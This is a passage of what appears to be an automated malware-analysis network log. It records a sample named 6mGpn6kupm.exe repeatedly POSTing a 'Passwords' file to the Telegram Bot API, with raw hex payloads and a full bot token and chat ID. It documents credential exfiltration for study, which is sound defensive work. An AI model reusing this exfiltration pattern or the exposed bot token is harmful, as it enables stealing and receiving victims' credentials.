2025-01-10 20:50:27 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 31 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 32 32 32 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44716,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736542227,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.10	50005	149.154.167.220	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:50:29 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33bec03b8946 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:50:29 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 62 65 63 30 33 62 38 39 34 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33bec03b8946Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:50:29 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:50:29 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:50:29 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 31 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 32 32 32 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44717,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736542229,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.10	50007	149.154.167.220	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:50:31 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33e8127340e1 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:50:31 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 65 38 31 32 37 33 34 30 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33e8127340e1Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:50:32 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:50:32 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:50:32 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 31 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 32 32 33 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44718,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736542232,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.10	50009	149.154.167.220	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:50:33 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd34083c1a702a Host: api.telegram.org Content-Length: 1090
2025-01-10 20:50:33 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 34 30 38 33 63 31 61 37 30 32 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd34083c1a702aContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:50:33 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:50:33 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:50:33 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 31 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 32 32 33 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44719,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736542233,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.10	50011	149.154.167.220	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:50:35 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd34284e8df640 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:50:35 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 34 32 38 34 65 38 64 66 36 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd34284e8df640Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:50:35 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:50:35 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:50:35 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 32 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 32 32 33 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44720,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736542235,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.10	50013	149.154.167.220	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:50:36 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd344ad6b1c93d Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:50:36 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 34 34 61 64 36 62 31 63 39 33 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd344ad6b1c93dContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:50:37 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:50:37 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:50:37 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 32 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 32 32 33 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44721,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736542237,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.10	50015	149.154.167.220	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:50:39 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd348d12913f73 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:50:39 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 34 38 64 31 32 39 31 33 66 37 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd348d12913f73Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:50:40 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:50:40 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:50:40 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 32 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 32 32 34 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44722,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736542240,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.10	50017	149.154.167.220	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:50:42 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd34d91b512df2 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:50:42 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 34 64 39 31 62 35 31 32 64 66 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd34d91b512df2Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:50:42 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:50:42 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:50:42 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 32 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 32 32 34 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44723,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736542242,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.10	50019	149.154.167.220	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:50:45 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd353a2ab288d3 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
